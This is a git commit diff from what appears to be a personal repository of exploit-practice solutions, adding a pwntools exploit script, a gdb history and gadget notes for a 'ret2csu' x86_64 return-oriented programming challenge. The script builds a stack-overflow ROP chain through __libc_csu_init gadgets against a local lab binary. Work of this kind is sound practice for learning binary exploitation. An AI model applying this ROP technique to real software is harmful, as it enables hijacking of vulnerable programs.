summaryrefslogtreecommitdiff
path: root/x86_64/ret2csu
diff options
context:
space:
mode:
Diffstat (limited to 'x86_64/ret2csu')
-rw-r--r--x86_64/ret2csu/.gdb_history56
-rwxr-xr-xx86_64/ret2csu/exploit.py27
-rw-r--r--x86_64/ret2csu/gadgets86
3 files changed, 169 insertions, 0 deletions
diff --git a/x86_64/ret2csu/.gdb_history b/x86_64/ret2csu/.gdb_history
new file mode 100644
index 0000000..7967103
--- /dev/null
+++ b/x86_64/ret2csu/.gdb_history
@@ -0,0 +1,56 @@
+continue
+context
+nexti
+quit
+continue
+context
+conitnue
+continue
+stepi
+stepi
+info reg rdx
+stepi
+info reg rbx
+info reg r12
+x/x 0x4006a2
+x/i 0x4006a2
+x/i *0x4006a2
+quit
+continue
+continue
+info reg rdi
+info reg edi
+quit
+break *0x40069a
+continue
+continue
+quit
+continue
+continue
+stepi
+quit
+break *0x40069a
+continue
+nexti
+stepi
+info reg rdx
+info reg rsi
+stepi
+info reg rsi
+info reg rdi
+info reg rdx
+info reg rsi
+stepi
+info reg rdi
+x 0x400510+0x200b0a
+x/x 601020
+x/x 0x601020
+x/x 0x00400516
+quit
+continue
+context
+continue
+stepi
+info reg rdi
+continue
+quit
diff --git a/x86_64/ret2csu/exploit.py b/x86_64/ret2csu/exploit.py
new file mode 100755
index 0000000..a148687
--- /dev/null
+++ b/x86_64/ret2csu/exploit.py
@@ -0,0 +1,27 @@
+#!/usr/bin/env python3
+from pwn import *
+
+prog = gdb.debug('./ret2csu', gdbscript='b *0x40069a')
+payload = b''
+for c in range(40):
+ payload += b'a'
+
+
+payload += p64(0x40069a) # __libc_csu_init()
+payload += p64(0)
+payload += p64(0)
+payload += p64(0x601020)
+payload += p64(0xdeadbeefdeadbeef)
+payload += p64(0xcafebabecafebabe)
+payload += p64(0xd00df00dd00df00d)
+
+payload += p64(0x400680)
+
+
+#payload += p64(0x00000000004006a3)
+#payload += p64(0xdeadbeefdeadbeef)
+
+payload += b"\n"
+
+prog.sendline(payload)
+prog.interactive()
diff --git a/x86_64/ret2csu/gadgets b/x86_64/ret2csu/gadgets
new file mode 100644
index 0000000..87a3bb8
--- /dev/null
+++ b/x86_64/ret2csu/gadgets
@@ -0,0 +1,86 @@
+First three arguments:
+rdi 0xdeadbeefdeadbeef
+rsi 0xcafebabecafebabe
+rdx 0xd00df00dd00df00d
+
+
+weird-ass instructions:
+0x0000000000000a08 : retf 0xbabe
+
+
+ret2win@plt: 0000000000400510
+
+0x00000000004006a3 : pop rdi ; ret
+0x00000000004006a1 : pop rsi ; pop r15 ; ret
+
+
+
+
+ret2csu: file format elf64-x86-64
+
+
+Disassembly of section .init:
+
+Disassembly of section .plt:
+
+Disassembly of section .text:
+
+0000000000400640 <__libc_csu_init>:
+ 400640: 41 57 push r15
+ 400642: 41 56 push r14
+ 400644: 49 89 d7 mov r15,rdx
+ 400647: 41 55 push r13
+ 400649: 41 54 push r12
+ 40064b: 4c 8d 25 9e 07 20 00 lea r12,[rip+0x20079e] # 600df0 <__frame_dummy_init_array_entry>
+ 400652: 55 push rbp
+ 400653: 48 8d 2d 9e 07 20 00 lea rbp,[rip+0x20079e] # 600df8 <__do_global_dtors_aux_fini_array_entry>
+ 40065a: 53 push rbx
+ 40065b: 41 89 fd mov r13d,edi
+ 40065e: 49 89 f6 mov r14,rsi
+ 400661: 4c 29 e5 sub rbp,r12
+ 400664: 48 83 ec 08 sub rsp,0x8
+ 400668: 48 c1 fd 03 sar rbp,0x3
+ 40066c: e8 5f fe ff ff call 4004d0 <_init>
+ 400671: 48 85 ed test rbp,rbp
+ 400674: 74 20 je 400696 <__libc_csu_init+0x56>
+ 400676: 31 db xor ebx,ebx
+ 400678: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
+ 40067f: 00
+ _______this shit is importaint!!!!!!
+\/
+ 400680: 4c 89 fa mov rdx,r15
+ 400683: 4c 89 f6 mov rsi,r14
+ 400686: 44 89 ef mov edi,r13d
+ 400689: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
+_________________________
+ 40068d: 48 83 c3 01 add rbx,0x1
+ 400691: 48 39 dd cmp rbp,rbx
+ 400694: 75 ea jne 400680 <__libc_csu_init+0x40>
+ 400696: 48 83 c4 08 add rsp,0x8
+_________________________
+ 40069a: 5b pop rbx
+ 40069b: 5d pop rbp
+ 40069c: 41 5c pop r12
+ 40069e: 41 5d pop r13
+ 4006a0: 41 5e pop r14
+ 4006a2: 41 5f pop r15
+ 4006a4: c3 ret
+
+Disassembly of section .fini:
+
+calling x86:
+
+controlling rdx:
+1: 0x00000000004006a3
+ rdi : 0xdeadbeefdeadbeef
+
+2: 0x40069a
+ rbx: 0 <--
+ rbp: whatever
+ r12: 0x601020 <-- next location. lets try to make it ret2win
+ r13: 0xdeadbeef <-- would be nice if we could use a 64 bit value
+ r14: 0xcafebabecafebabe
+ r15: 0xd00df00dd00df00d <--
+
+
+3: 0x0000000000400510 (ret2win)